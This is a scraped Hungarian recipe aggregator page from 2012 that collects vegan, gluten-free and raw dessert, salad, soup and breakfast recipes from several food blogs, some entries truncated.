Nyár lévén íme egy abszolút könnyű, alak barát: Tej,-tojás,-cukor és gluténmentes sütemény, alacsony szénhidrát tartalommal. Az eredeti receptem naranccsal készül, de nyugodtan kísérletezhettek idény gyümölcsökkel. Ez az a típusú sütemény amelyik már melegen elfogy:) Hozzávalók: Sütemény: 100 g mandula liszt 100 g köles liszt 100 g Glutemix ( gluténmentes liszt keverék) 1 tasak foszfátmentes sütőpor 2 evőkanál stevia por, vagy 80 g nyírfa cukor késhegynyi Bourbon vanília 1/2 narancs leve és reszelt héja 300 ml natúr szója joghurt 1 dl víz Öntet: 300 ml kókusz tejszín 200 ml natúr szója joghurt 50 g mandula liszt 1/2 narancs leve Édesítés: stevia vagy nyírfacukor, ízlés szerint A sütemény hozzávalóit robot gép segítségével összedolgozzuk. Először a száraz hozzávalókat, majd hozzáadjuk a nedves hozzávalókat. Egy kuglóf, vagy használhatunk pite formát is kiolajozunk és beleöntjük a masszát. Előmelegített, légkeveréses sütőben, 180 C fokon, 45 - 50 percig sütjük. Közben elkészítjük az öntetet: Az öntet hozzávalóit krémesre összeturmixoljuk és behűtjük. Tálaláskor a kuglóf szeletekre öntjük. Fittanyuka
Mandulavajas ribizli jégkrém
2012. augusztus 3. Zizi kalandjai
Mielőtt végetér a ribizli szezon megosztok egy újabb jégkrém receptet. I. nem igazán ribizli rajongó és igazából én sem, de sütik készítéséhez nagyon szeretem használni. Szeretem a gyümölcs ízét, de mégsem eszem olyan gyakran, mint mondjuk őszibarackot. Gondoltam, kipróbálom milyen jégkrémben. Került turmixolva és darabosan is bele. Izgalmas volt az apró piros szemekre rábukkanni a jégkrémben.
A korábban készültekbe tettem kókusztejet, földimogyoróvajat és banánt, valamint avokádót, amelyek mind selymesebbé, krémesebbé tették a jégkrémeket. Mandulavajjal is megoldható mindez (mandulavaj készítése házilag itt és itt).
Ne habozzatok kipróbálni egy újabb vegán jégkrémet a közelgő meleg hétvégén!
Mandulavajas ribizli jégkrém
Hozzávalók 4 db jégkrémhez:
- 200 ml kókusztej
- 50 g mandulavaj
- 55 g kókuszcukor vagy nádcukor
- 100 g ribizli
Öntsük a robotgépbe a kókusztejet, adjuk hozzá a mandulavajat, a kókuszcukrot és 50 g ribizlit. Pürésítsük simára. Keverjük hozzá a maradék 50 g ribizlit, majd öntsük a krémet formákba, helyezzünk mindegyikbe pálcikát és tegyük a mélyhűtőbe legalább 2 órára, amíg megszilárdulnak.
Málnás - őszibarackos csokitorta nyersen
Anyukám júniusi születésnapjára általában én vállalom a tortakészítést.:-) Az elmúlt években készült már többféle, pl.: áfonyás tofutorta málnás - mandulás karobtorta epres - málnás gyümölcstorta Tavaly aztán eljött a nyers torták kora:-) áfonyás málnatorta Időközben a sógorom áttért a paleolit-étkezésre, anyukám maradt közben főként nyersevő, így egyre több a nyers ételek rajongója a családban.:-) A málna szezonitásából adódóan ilyenkor általában az az alap, ez idén sem volt másként.:-) A torta alapötletét Gittától kaptam a Facebookon, egy narancsos csokitorta alap mellé került töltelékként a barackos-málna. Kicsit folyósra sikerült a közepe, mert kevés útifűmaghéjat tettem bele, illetve daráló helyett aprítógépben aprítottam fel az olajos magvakat, és azok kicsit zavaróan darabosak maradtak....:-) Az íze viszont finom volt, jó tömény, ahogy a nyers tortáktól megszoktam...:-) A gyerekek megkóstolták, de aztán nem vállalták...:-) A felnőttek szorgosan ették...:-) Az egyszerűség kedvéért a receptet Gitta blogjáról idézem, néhol kiegészítve.:-) Málnás - őszibarackos csokitorta nyersen Hozzávalók (egy 18-20 cm-es kapcsos tortaformához): Alap: 2 csésze dió (beáztatva) 2 csésze áztatott datolya 1/2 csésze kókuszreszelék (opcionális) 3 evőkanál kakaópor csipet só A hozzávalókat aprítógépben morzsásra aprítjuk. Akkor jó az állaga, ha a gépben még morzsás, de ha az ujjunkkal összenyomjuk, akkor összetapad. A kókuszreszelékkel a szilárdságot lehet beállítani, ha túl lágy lenne a tészta, akkor kell használni, egyébként elhagyható. A masszát belenyomkodjuk egy tortaforma aljába úgy, hogy körben 4-5 cm-es pereme legyen. Aszalógépben 3-4 órán keresztül, majd kivesszük a tortaformából, és még 1-2 órán át aszaljuk (vagy sütőben, nyitott ajtónál). A megaszalt torta alap sokáig eláll, és bármikor betölthető. Ha azonnal fogyasztjuk, akkor nem is szükséges aszalni, betöltjük a tortát, és már esszük is. / én nem aszaltam:-) Gyümölcsös töltelék (ezt a részt jórészt módosítottam az eredetihez képest, Gitta javaslatai alapján): 1-2 csésze mandula bármilyen szezongyümölcs vegyesen (nálam most őszibarack + málna villával összetörve, és jól kinyomkodva) 2-3 ek. útifűmaghéj kiskanál méz, csipet citromhéj, kiskanál citromlé A mandulát beáztatjuk, a héját lehúzogatjuk. Aprítógépben finom morzsásra aprítjuk és összekeverjük a villával összetört gyümölccsel. Ízesítheted mézzel, kevés citromlével, narancshéjjal. Csokis töltelék: 1 csésze kesudió 1-2 kanál kakaóvaj (vagy kókuszolaj) 3 evőkanál kakaó 1 evőkanál méz 1 csésze datolya beáztatva A kesudiót porrá őröljük, turmixgépben simára keverjük kevés vízzel, a kakaóvajjal és a datolyával. Ezután hozzákeverjük a kakaót és a mézet, ezt már gép nélkül, kézzel jól eldolgozzuk. Ha túl sűrű lenne, akkor kevés vizet, ha túl híg, akkor még őrölt kesudiót tegyél bele. Egy jó állagú, krémes, mégis szilárd csokikrémet kapunk. A kakaóvaj vagy a kókuszolaj szobahőmérsékleten szilárd halmazállapotú, ezért az ízén kívül még a csokikrém szilárdságához is hozzájárul, jobban vágható, gusztusosabb lesz a tortánk. Összeállítás: Az alapra először a gyümölcsös réteget kenjük úgy, hogy kb a perem feléig érjen. Ezután rásimítjuk a csokis réteget, majd egy hosszú késsel elsimítjuk a tetejét. Díszíthetjük reszelt narancshéjjal, csokidarabkákkal, gyümölccsel, mentalevéllel, stb. Jót tesz neki egy kis állás a hűtőszekrényben.
Nyári Mediterrán ( tönköly ) Tésztasaláta
2012. július 22. Fittanyuka Blog
Kivételesen most nem egy zöld salátával jövök, hanem egy laktató, zöldséges tészta-salátával, amely hidegen a legkitűnőbb nyári fogás lehet. Piknikezéshez, baráti összejövetelekhez, kerti sütögetéshez is jó választás. Hozzávalók: 250 g világos tönköly tészta ( orsó vagy penne) himalaya só 1 db kisebb cukkini 4 db közepes paradicsom 2 db paprika 1 d kisebb padlizsán 2 evőkanálnyi kókusz olaj 3 evőkanál hidegen sajtolt olíva olaj friss vagy szárított bazsalikom, oregánó, majoránna 2 cikk fokhagyma A tésztát enyhén sós vízben al dente állagúra főzzük. A padlizsánt, cukkinit, 2 darab paradicsomot kockára vágjuk és kókusz olajon roppanósra pároljuk. Először a padlizsánt, majd a cukkinit és utoljára a paradicsomot pároljuk . Ízlés szerint sózzuk, belepréseljük a fokhagymát. Félre tesszük hűlni. Miután kihűlt összekeverjük a leszűrt tésztával. Élővé tesszük a salátánkat nyers zöldségekkel: kockára vágott paradicsommal, csíkokra vágott paprikával, utólag fűszerezzük a zöld vagy szárított mediterrán fűszerekkel. Tálalás előtt meglocsoljuk a hidegen sajtolt olíva olajjal. Fittanyuka
Zakuszkás lepényke
Zemplényi Marika tegnap kért tőlem padlizsánkrémes receptet, és szégyen szemre nem találtam az Életkert oldalon. Ma már pótolom is ezt a hiányosságot! Jó étvágyat nektek ? Hozzávalók 1 lepénykéhez: 1 marék tönkölyliszt, 1 csipet tiszta só 1 tk búzacsíra 1 tk szezámmag 1 tk kókuszzsír annyi víz, hogy jól gyúrható tésztát kapjunk. A hozzávalókat összedolgozzuk, [...]
Majorannás zöldségek tésztapörkölttel
Egyszerű, könnyű, nyári ebéd! Laktató és tápláló Hozzávalók személyenként: 1 maréknyi főtt orsótészta 5 rózsa karfiol 5 szem koktélparadicsom 1 csipet majoranna 1 csipet tiszta só 1 marék petrezselyemzöld Pörköltalap: 1 fej vöröshagyma 1 ek kókuszzsír 2 csipet tiszta só 2 karika sárga paprika 1 koktélparadicsom A hozzávalókat lepirítjuk a zsíron, és megszórjuk 1 kávéskanál [...]
Fűszeres növényi zsír
2012. július 17. Mindennapi ételeink
Hozzávalók: 15 dkg darált mandula 4 gerezd fokhagyma 6 szál újhagyma 3 kk. 100% extra szűz olívaolaj 30 dkg kókuszzsír só - ízlés szerint Elkészítés: A hagymákat apróra vágjuk és kevés kókuszzsíron megdinszteljük, majd a darált mandulát is - állandó kevergetés mellett - hozzáadva dinszteljük, majd hozzáadjuk a többi kókuszolajat is. Melegen -darabosra - összeturmixoljuk, majd kihűtjük.
Kókusztejes gyümölcsös édes rizs
2012. július 12. Lét-tudatos konyha
Hozzávalók: 1 l kókusztej 25 dkg barna rizs 3 evőkanál nádcukor fél citrom reszelt héja 1/4 kávéskanál őrölt kardamom fél babérlevél csipet só ribizli Elkészítése: A rizst megmossuk és lecsepegtetjük. Hozzáadjuk a tejet, babérlevelet, kardamomot, sót és alacsony lángon puhára főzzük. A főzés végén beletesszük a cukrot és a reszelt citromhéjat. Gyümölccsel kiegészítve tálaljuk. További receptek
Barackos gyümölcsrizs
Csodás kis vendégeim voltak ma, akiknek mindenképp dukált egy kis finomság is, olyan ügyesen ették az újdonságokat ? Hozzávalók: 20 dkg barna jázminrizs kétszeres víz csipet tiszta só 1 ek kókuszzsír 2 ek Xilit 1 zacsi vaníliás cukor 1/2 citrom reszelt héja 3 őszibarack 6 sárgabarack A rizst megmossuk, és a kókuszzsíron picit megpirítjuk. Felengedjük [...]
Tej-, és gluténmentes keksz
2012. július 5. Rongybaba konyha
3-4 maroknyi magot beledobtam a robotgépbe (napraforgó, mandula, fenyőmag, tökmag... bármi lehet), adtam hozzá két evőkanál mézet, egy tojást, és kb 2 evőkanál barna rizslisztet (nyilván nagyobb tojásnál vagy kevesebb maggal lehet, hogy több liszt kell). A lényeg, hogy ne legyen túl lágy a massza. Amikor kivettem a robotgépből, kevertem még hozzá len-, és szezámmagot, egy evőkanál kókuszreszeléket. Rizsliszttel megszórt deszkán kinyújtom, formázom, előmelegített 180 fokos sütőben gyorsan kisütöm.
Petrezselymes burgonya
Legnagyobb megrökönyödésemre a legkeresettebb kifejezés a petrezselymes krumpli volt az utóbbi időszakban. Azt mondjuk nem csodálom, hogy mindenki szereti enni, de hogy ennek receptje volna... Inkább azt mondanám, hogy van hozzá néhány jó tanács, ami segíthet. Először is drága mulatság, de be kell szerezni egy jó edényt. Nem 2000 Ft-os teflon lábast, mert azzal csak kidobja az ember az ablakon a pénzt. Sokba kerül, de pont a szegény ember nem engedheti meg magának a silány minőséget, azért hogy aztán újat vegyen, és összességében másfélszer annyi pénzt költsön el, nem beszélve az ezzel járó bosszúságokról. Ha jó az edény, akkor így a burgonya pirul, nem odaég egy idő után az aljára... Kell hozzá egy halom megpucolt, és kockára vágott burgonya, egy nagy csokor apróra vágott petrezselyem, és némi kókuszzsír, hogy süljön kicsit, ne csak párolódjon. Ja, és só. Nem sok, de azért szórjuk meg a tetejét, hogy mindenhová jusson. A petrezselymet fél idő környékén érdemes rászórni, hogy szép zöld maradjon. Bocs, a zseniális receptért, és az oldal hanyagolásáért, de egy ideje a menü kicsit beszűkült. Remélhetőleg nem sokáig tart ez az állapot. Egyébként is az ilyen nagy melegben jobban teszi az ember, ha több levet iszik, és nyers gyümölcsöket/zöldségeket eszeget. Itthon pl. minden mennyiségben jöhet az uborkasaláta (szigorúan ecet nélkül, sóval, gyümölcscukorral és citromlével), meg a fóliából a paradicsom... Tökéletes ásványi anyag pótlásra. Nem is azért, mert finom. ;)
Káposztás lapcsánka saját zöldségekkel
Tegnap leszedtem az első pici édeskáposztámat, és valami nagyon ütőset akartam csinálni belőle Sikerült Ez eszméletlen finom lett!!!! Hozzávalók 1 kis fej káposzta 3 evőkanálnyi teljes kiőrlésű tönkölyliszt 11 tekerésnyi bors 1 tk tiszta só 2 közepes újkrumpli 2 ek kókuszzsír 1 házi tojás A káposztát megmostam, lereszeltem, és pici kókuszzsíron borssal és sóval jól [...]
Cukkíni-spagetti
Maradt tegnapról 1/2 cukkinim, nagyon meleg is van, így ez a finom, hűsítő ebéd lett belőle Hozzávalók személyenként: 1/2 cukkíni 2 fej vöröshagyma 1 dl nyers paradicsompüré só pirospaprika 3 bazsalikomlevél pici metélő petrezselyem 1 csipet oregánó 1 sárga paprika 2 evőkanál pirított szezámmag 1 evőkanál kókuszzsír A cukkínink felét összeturmixoljuk a meghámozott vöröshagymával, és [...]
Hűsítő Rizses - Málna
2012. június 29. Fittanyuka Blog
Rizses málna, málnás rizs hidegen:) Nevezhetjük rizses málna fagyinak is.... Hozzávalók: 350 g fagyasztott málna 100 g barna rizs 500 ml rizstej 250 ml kókusztejszín 2 evőkanál méz, vagy 1/2 kávéskanál stevia vanília rúd A barna rizst 1-2 órára vízbe beáztatjuk, majd leöntjük róla és a rizstejben a vanília rúddal együtt puhára főzzük. ( ha szükséges hozzáöntünk még vizet vagy tejet). Hagyjuk kihűlni. Még jobb ha pár órával előtte vagy előző nap megfőzzük. A málnát a mézzel ( vagy a steviával), a kókusztejszínnel együtt turmixgépben krémesre keverjük, majd hozzá keverjük a rizst. Ha szükséges még édesítjük és fagyi szedővel halmokat formálunk. Mélyhűtőben tároljuk a maradékot, ha marad:) Nálunk nem maradt:) Fittanyuka
Meggykrémes palacsinta
Meggyes valamire vágytam csokival, előbb a fagyi jutott eszembe, de mivel már van néhány változat a fagyasztóban, ezért gondoltam legyen inkább valami más. Nem túl magos, mégis laktató, rostos desszert. Ráadásul annyi cukkínim van, hogy csak vakarom a fejem, mit is csináljak belőle. Az aszalt gyümölcslapból készülő palacsinta is finom, de nekem az valahogy nem palacsinta. Ennek a verziónak sokkal semlegesebb az íze, az állaga pedig a francia palacsintáéra hasonlít A palacsintához: 3/4 bögre összevágott cukkíni 1/2 bögre őrölt lenmag 1/2 bögre datolya egy kis vanília 1 tk citromlé 2tk víz egy csipet só A cukkínit összeturmixoltam, majd hozzáadtam a többi hozzávalót, kivéve az őrölt lenmagot. Ezt csak utólag adtam a masszához, és simára turmixoltam Sűrű masszát kapunk, ebből az aszaló tapadásmentes lapján 4 db palacsintát kenünk ki kb4-5 mm vastagon. (Egy lapra 2 palacsinta is elfér) Kb. 7 órán át aszaljuk, ezután levesszük a tapadásmentes lapról és további félórát szárítjuk. Az a lényege, hogy ne legyen merev, még hajlítható maradjon. Így sokáig eltárolható légmentesen elzárva, úgyhogy érdemes egyszerre több adagot is elkészíteni. A meggykrémhez (4-5 palacsintához): 15 dkg magozott meggy 5-6 dkg aszalt vagy áztatott mandula vanília kókuszcukor vagy más édesítő ízlés szerint 50 ml olvasztott kókuszolaj néhány csepp bergamott olaj (elhagyható) Mindent krémesre turmixolunk a kókuszolaj kivételével, ezt akkor adjuk a turmixhoz, amikor az már krémes, egynemű. Kb. 20-30 percre hűtőbe tesszük a krémet. A csoki öntethez: 1/2 bögre méz 1,5 ek nyers kakaópor (hagyományossal is elkészíthető) 1,5 ek nyers karobpor (itt is lehet a megszokottat használni) 50 ml A krémmel megkenjük a lap egyik felét, a másikat pedig ráhajtjuk. Meglocsoljuk a csokin öntettel.
Mákos-almás nyers süti
Sületlen nyers süti A mákos kókusztejből megmaradt szárazanyagból készítettem az alapját ennek a desszertnek, de lehet simán teljes mákból és kókuszreszelékből is készíteni. A máktej és kókusztej receptjét itt találod: máktej és kókusztej. Lehet együtt is turmixolni a kettőt, így kapsz mákos kókusztejet. Szóval: a szárazanyaghoz tettem egy kis mézet (vagy lehet édesítésnek aprítógépben datolyavajjá [...]
Banános tejmentes vegán csoki fagyi
Természetes alapanyagokból is lehet ezekre a meleg időkre fagyit készíteni. Méghozzá nagyon egyszerűen. Az én változatom alapja a banán, melyet néhány órára a fagyasztóba kell tenni felhasználás előtt. Nem kell megijedni, nem fog csonttá fagyni. Hozzávalók: 2 fagyasztott banán, 2-3 evőkanál kókusz olaj, kb. 1,5 dl házi zabtej (vagy más növényi tej), 2-3 evőkanál kakaópor [...]
Zöldséges quiche
2012. június 21. Vegetáriánus ételek
Zöldséges quiche Zöldséges quiche Összetevők (4 főre):Tészta összetevők: (20 cm-es tortaformához) 15 dkg tönköly teljes kiőrlésű liszt 7 dkg tönköly sima liszt 7 dkg zsiradék: ezek lehetnek kókuszzsír, pálmazsír vagy vaj Pírított szezámmag Őrölt kakukkfű, só bors Kevés hideg víz Töltelék: 2 bögre ízlés szerinti zöldség (például: kelbimbó, répa, mángold, zöldbab, édeskömény, brokkoli, karfiol, stb...) Só, curry Tofukrém: 20dkg natur tofu 1 evőkanál mustár 1 gerezd fokhagyma Só, bors 1 dlkókuszolaj 1 dlhidegen sajtolt napraforgó olaj 1 citrom leve 1 nagy főt répa (elhagyható) Elkészítése a következő. Tészta: Összedolgozzuk (azaz egyneműsítjük) az anyagokat (lisztek, só, víz és zsiradék) ezt a tésztát kinyújtjuk fél cm vastagságúra, megkenjük a tészta felületét olvasztott kókuszzsírral, pirított szezámmaggal meghintjük, és őrölt kakukkfűvel megszórjuk. A tésztát téglalapalakúra nyújtjuk ki, majd először a hosszabbik széleket hajtogatjuk egymásra, majd a másik két végét is egymásra hajtjuk, újból kinyújtjuk és a tortaformába helyezzük, úgy hogy 3 cm pereme legyen a tésztának. Töltelék: 2 bögre ízlés szerinti zöldséget vágunk fel apró darabokra (például: kelbimbó, répa, mángold, zöldbab, édeskömény, brokkoli, karfiol, stb) és fűszerezzük sóval és curryvel. Tofukrém: Az összes hozzávalót turmixgépben krémesre egyneműsítjük, majd összekeverjük a párolt zöldségekkel, beöntjük a tortaformába, szépen, egyenletesen eloszlatjuk, előmelegített sütőben 200 fokon 20-25 percig sütjük. Elkészítés időtartam (előkészületekkel és sütéssel együtt): kb. 1 óra 15 perc Rigó László Vezető Séf
Mogyorós - vaníliás keksztorta
Nemrégiben találtam az archívumban ezt a tortát, ami még 2 évvel ezelőtt készült és jelent meg aztán a Délmagyarország hétvégi gasztromellékletében.:-) Sütés nélkül készül, nagyon finom, és igen gyorsan elfogyott!:-) És most felteszem ide is, hálám jeléül minden kedves olvasómnak, aki rendületlenül érdeklődik privátban, mikor folytatom a blogot...:-) Gondolattal irányított blogírás nincs még?:-)) Mert akkor nagyon gyorsan haladnék ám!:-)))) Mogyorós - vaníliás keksztorta Hozzávalók (egy 22 cm-es kapcsos tortaformához): A kekszalaphoz: 300 g vegán (tej- és tojásmentes) keksz (pl. DM-ben a Digestive keksz) 3 ek. karobpor vagy 4 ek. kakaó 100 g növényi margarin/ kókuszzsír 4 ek. agave szirup (esetleg méz) egy marék mogyoró A vegán cukrászkrémhez: 30 g rizsliszt 15 g kukoricakeményítő 500 ml növényi tej (a legjobb a vaníliás szójatej) 30 g növényi margarin egy csipet őrölt vanília egy csipet kurkuma 1 bio (kezeletlen) citrom héja 2 ek. nádcukor egy csipet só Először a krémet készítsük el. Egy kis lábasban felolvasztjuk a növényi zsiradékot, majd beleszórjuk a lisztet és a keményítőt, kis növényi tejjel felöntve. Lehúzzuk a tűzről, és habverővel kavargatjuk, hogy ne csomósodjon. Hozzáadjuk a maradék tejet, a csíkokra vágott citromhéjat, a vaníliát, és egy csipet sót. Folyamatos keverés közben felforraljuk, és kb. 5 percig főzzük közepes lángon, hogy besűrűsödjön. Kihűtés előtt a citromhéj darabokat kivesszük a krémből, majd fóliával letakarva, hagyjuk kihűlni. Egy konyhai aprítógép segítségével morzsásra aprítjuk a kekszet a mogyoróval. Beletesszük a karobport, a felolvasztott margarint/ kókuszzsírt, és az agave szirupot. Az így kapott masszát belesimítjuk a tortaforma aljába (ha nem áll össze kellően a kekszalap, adhatunk még hozzá egy kis növényi tejet), és rásimítjuk a kihűlt krémet. Díszítésnek megszórhatjuk a tetejét aprított (esetleg pirított) mogyoróval. Tipp: amennyiben vaníliás szójatejjel készítjük a krémet, figyeljünk rá, hogy az karakteresen édesített. A krémet ehhez igazodva édesítsük!
Gaspacho - Nyers Hűsítő leves
2012. június 18. Fittanyuka Blog
Nyáron nem éppen a szezonjukat élik a gőzölgő, tartalmas levesek. Viszont vannak akik a leveses kategóriába sorolhatóak. Ilyen az én kislányom is, az ebéd számára csonka leves nélkül. Az alábbi leveseket a Fittanyuka - Nyári főzőtanfolyamon készítettük el. Hatalmas előnyük, hogy gyorsan elkészíthetőek, így percek alatt leves vagy akár, mint frissítő formában az asztalra varázsolhatjuk őket. A nyári melegben előtérbe kerülnek jobban a nyers ételek, saláták, turmixok. Ilyenkor szinte nemis kívánunk mást. Érdemes ezt az időszakot kihasználni és vitamin-ásványi anyag raktárainkat feltölteni. Tipp: Továbbá a nyers ételek kitűnően segítik a szervezetünk tisztulását, a pH egyensúly helyreállítását. Ezen belül is leginkább a zöldségek. Minkét leves Gaspacho, az egyik uborkás változat, a másik pedig a paradicsomos,hagyományos, spanyol recept szerinti. Könnyen elkészíthetjük, finom, hűtő hatásúak, kifejezetten az uborkás változat, mivel köztudott, hogy az uborka nagyon jól hidratál és hűti a májat! Uborkás Gaspacho leves (4-6 főre) 3 db közepes kígyóuborka (apró- citrom reszelőn lereszelve) 1 kk himalaya só 1 kk örőlt kömény 1 evőkanál bio mustár 1 evőkanál hidegen sajtolt olíva olaj 1 citrom leve és reszelt héja 1 csokor kapor 1,5 dl szója joghurt,- 1.5 dl kókusz tejszín Az uborkát lereszeljük, a kaprot felaprítjuk és a kapor kivételével az összetevőkkel összeturmixoljuk. Megszórjuk a kaporral és jól behűtve tálaljuk! Eredeti-paradicsomos Gaspacho leves (4-6 főre) Alap lé: 1 kg lédús paradicsom 2-3 evőkanál hidegen sajtolt olíva olaj 2 evőkanál citromlé 1-2 cikk préselt fokhagyma 1 kk himalaya só késhegynyi őrölt bors Leves Betét: 1 db vöröshagyma kockára vágva 1 db zöldpaprika kockára vágva 1 db kis uborka kockára vágva A paradicsomot felkockázzuk és a leves betéthez szükséges zöldségeket apró kockákra vágjuk . A paradicsomot a fűszerekkel és az olajjal alaposan összeturmixoljuk, és jól lehűtjük. Tálaláskor megszórjuk a felaprított paprikával, hagymával, uborkával. Tálalhatjuk pirított teljes kiőrlésű kenyér szeletekkel is. Fittanyuka
Kukorica gombóc
Hozzávalók: 30 dkg kukoricadara 9 dl víz 3 ek gyümölcscukor 2 ek vegimilk, vagy szójajoghurt (opcionális) 1 vaníliarúd kikapart beleseje 1/2 citrom reszelt héja 1 csipet só A kukoricát háromszoros vízben megfőzzük a vaníliával, reszelt citrom héjával és némi sóval sok kavargatás mellett. A végén belekeverjük a gyümölcscukrot, esetleg vegimiliket. Amikor már hűlt, gombócokat formálunk belőle. Lekvárral, vagy gyümölcsszósszal kínálhatjuk. Mint pl. Duende a kölest, vagy banánöntettel, de szerintem a legjobban az almaszósz illik hozzá.
Epres, banános kockák csokiszósszal
2012. június 14. Gitta nyersétel blogja
gyümölcskockák toronyba rakvaNagy kedvenc nálunk ez az egyszerű édesség. Valahányszor megkérdezem a nagylányomat, hogy milyen nyers édességet készítsek, mindig ezt mondja: banántornyot! Persze a banán mellé most mehet minden más is, eper, kiwi, barack, sárgadinnye, görögdinnye... A lényeg a szósz, amibe bele lehet mártogatni a finom gyümölcsöket, a kockák toronyba rakása pedig már csak egy plusz élvezet a szemnek, hogy milyen szépen tudjuk tálalni. A lehullott banán darabokból csokiszószt készíthetünk Egy nem mindennapi édesség, amely kipróbáltan gyerekek kedvence, még olyanok is szívesen megkóstolják, akik egyébként nem rajonganak a gyümölcsökért. Gyerekzsúron pillanatok alatt elfogy, kis kardokat vagy fogpiszkálót kell odakészíteni, amivel a gyerekek pillanatok alatt el tudják tüntetni a különböző gyümölcsökből készített kis kockákat. A kockákból tetszőlegesen építhető bármilyen alakzat. Hozzávalók: 4 banán 2-3 szem eper 1 kiwi 2 evőkanál kakaópor 2 evőkanál kókuszreszelék 1/2 dl víz menta levelek a díszítéshez A gyümölcsöket egyforma kocka formára vágjuk. A banánok esetében először hosszanti irányban levágjuk a belső oldalt, majd a külsőt. Ezután a két szélső oldalon vágjuk le a gömbölyű részt, így egy négyzet alapú hasábot kapunk. Ezután a megmaradt hasábot egyforma kis kockákra vágjuk. A leeső részt félretesszük. Az eperből és a kiwiből is megpróbálunk egyforma kockákat vágni. A banán kockák felét kakaóporba, a másik felét kókuszreszelékbe forgatjuk. Felváltva véve a különböző gyümölcsökből formált kockákat, tornyot építünk belőlük. A leeső banán szeletekből kevés vízzel, és a hempergetésből megmaradt kakaóporral csokiszószt turmixolunk. A gyümölcs kockákat ebbe a szószba kell belemártani fogyasztás előtt.
Gombalecsó cukkinispagettivel
Eredetileg paradicsomos gombának készült, de kívánkozott még bele sárga paprika is, így meg akkor már lecsó. Finom volt. A cukkinispagetti nyers, a gombalecsónak pedig a fele az. Hozzávalók: 1 nagy marék gomba, 1 paradicsom, 1 paprika, fél vöröshagyma, kókuszzsír, himalaya só, őrölt piros fűszerpaprika. Elkészítés: A vöröshagymát apróra kockázzuk és kevés kókuszolajon megdinszteljük. Felengedjük egy [...]
Kókuszos, mákos golyó
Máktejből megmaradt mákból készítettem ezt a finom mákos golyót. Isteni finom, ki ne dobd a maradékot. Ugyan már kicsit veszített értékéből és zamatából, de bátran felhasználható, akár nyers torta alap is lehet belőle. A máktejből megmaradt mákhoz őrölt mandulát kevertem. Datolyát aprítottam aprítógépben vajszerű masszává (datolyavaj) és ezt a mák-mandula keverékhez gyúrtam. (Datolya helyett lehet [...]
Zabkása (eperrel) egészségesen
Lev Tolsztoj hitte, hogy a húsevés elhagyása kulcsfontosságú ahhoz, hogy az ember uralkodni tudjon szenvedélyein. Rendkívül szigorúan vette a vegetáriánus táplálkozás szabályait: mindössze zabkását, kenyeret és zöldséglevest fogyasztott. Felhagyott az italozással és a dohányzással, és megpróbálta meggyőzni a birtokán élő parasztokat, hogy utánozzák. "Miért kábítják magukat az emberek?" című esszéjében Tolsztoj az alkoholról és a cigarettáról is becsmérelő hangon szólt, kábítószernek titulálva őket, ugyanis meggyőződése volt, hogy az emberek e két szert érzéstelenítőként használják nyugtalan lelkiismeretük elaltatására. Az író szerint az emberi élet zavarodottsága elsősorban a folyamatosan mérgezett állapotból származik. Tolsztoj nyomdokaiba is lépve, egy igen egészséges reggeli csemege receptjét osztom meg. Ez nem más, mint a helytelenül nélkülözött zabkása receptje. Sokakban talán a kása, sőt a zabkása hallatán negatív gondolatok támadnak, de csak azért, mert még nem ettek finoman egészséges zabkását. Roppant egyszerű titka van a finom íz elérésének: Jó érett gyümölccsel kell ízesíteni! (Télen pedig lekvárral vagy aszalt gyümölcsökkel is lehet.) A recept: Hozzávalók: - 1 adag zabpehely - víz - 1 marék gyümölcs - napraforgómag - őrölt lenmag - őrölt szezámmag - őrölt mák - kókuszreszelék Elkészítés:A zabpelyhet mielőtt vízzel felöntjük, érdemes egy kicsit megpirítani, vigyázva arra, hogy a szemek ne égjenek meg. Miután megpirítottuk a zabpelyhet, vizet öntünk rá, hogy bőven ellepje és közepes lángon elkezdjük főzni - nagyon gyorsan megduzzad, felszívja a vizet.Miután megfőtt, hozzákeverjük a magvakat, majd a felaprított gyümölcsöt. Kókuszreszeléket tehetünk hozzá tálaláskor vagy főzés közben is. Aki nagyon édes szájú, ízesítheti mézzel, gyümölcscukorral vagy aszalt gyümölcsökkel.Tápláló reggeli, ami segít a szervezet reggeli "takarításában" is. Sok ásványi anyagot és vitamint tartalmaz. Olcsó és kiadós reggeli. Ha jól lakunk vele reggel, kevésbé leszünk éhesek napközben. A másik előnye, hogy 30 perc alatt nem csak elkészül, de el is fogyhat. :) Ízvilága tovább turbózható növényi tejjel is.
Csokis - Almás Muffin zabpehellyel
2012. június 8. Fittanyuka Blog
Hozzávalók: (16 db muffin) 200 g zabpehely 200 g alma reszelve 150 g zabliszt 1 zacskó foszfátmentes sütőpor 6 evőkanál kókusz olaj 450 ml víz 100 g xilit késhegynyi bourbon vanília 1/2 kk örőlt fahéj 100 g étbevonó A liszteket a xilittel, sütőporral vaníliával, fahéjjal összekeverjük. Az almát lehéjazzuk, lereszeljük és hozzáadjuk a száraz hozzávalókhoz az olajjal, vízzel együtt. Robot gép segítségével összedolgozzuk. Szilikon muffin sütőt használtam. Beletöltjük a masszát és előmelegített sütőben 180 C fokon 35-40 percig sütjük. Miután kisültek hagyjuk kihűlni. Bevonó étcsokoládét víz gőz felett felolvasztunk, majd kiskanál segítségével rácsorgatjuk a muffinok tetejére. Én alma chipsszel díszítettem a tetejüket. Fittanyuka - Lúgosító ételek a facebookon Fittanyuka
Dhokla
Egyszer azt olvastam egy indiai szakácstól, hogy a dhokla alkalmas arra, hogy néhány pillanatra megfeledkezz a külvilágról. Ebben igazat kell adnom, főleg, ha paradicsom csatnival, zöld csatnival (koriander, menta) vagy kókusz csatnival tálaljuk. A dhoklát idli készítőben szokták főzni, ami egy... tovább>>
Szuper reggeli: Mandulavajas pirítós mandulatejes kávéval
2012. június 4. Zizi kalandjai
Le sem tagadom... mandula lázban égünk. Amióta megtaláltuk a biopiacon Zabodál Imre mandula termékeit, rá vagyunk kattanva. Először a mandulatejjel ismerkedtünk meg. Korábban már vásároltam külföldi mandulatejet, amelyik teljesen fehér színű, de Imréék teje drapp színű, mert ők a mandula héját is felhasználják a tej készítésekor. Kinyitod az üveget és erősen megcsap a marcipán illat. A tej sűrűbb, mint a külföldi változat és krémesebb is. Örülök, hogy van ilyen minőségű magyar termék a piacon. Tudom, a mandulatejet én is meg tudnám csinálni, de még nem vettem rá magam. Talán hamarosan. Elkészítése egyszerű, csak mandula és víz kell hozzá. Hagyhatjuk natúran, de lehet édesíteni is. Fűszerezhetjük vaníliával, fahéjjal, de kardamommal is el tudom képzelni. Van jó néhány recept az interneten, érdemes ezek közül válogatni itt és itt. A karácsonyra vett aprító- és robotgépemmel végre tudok mandulavajat készíteni! Nagyon egyszerű. Addig 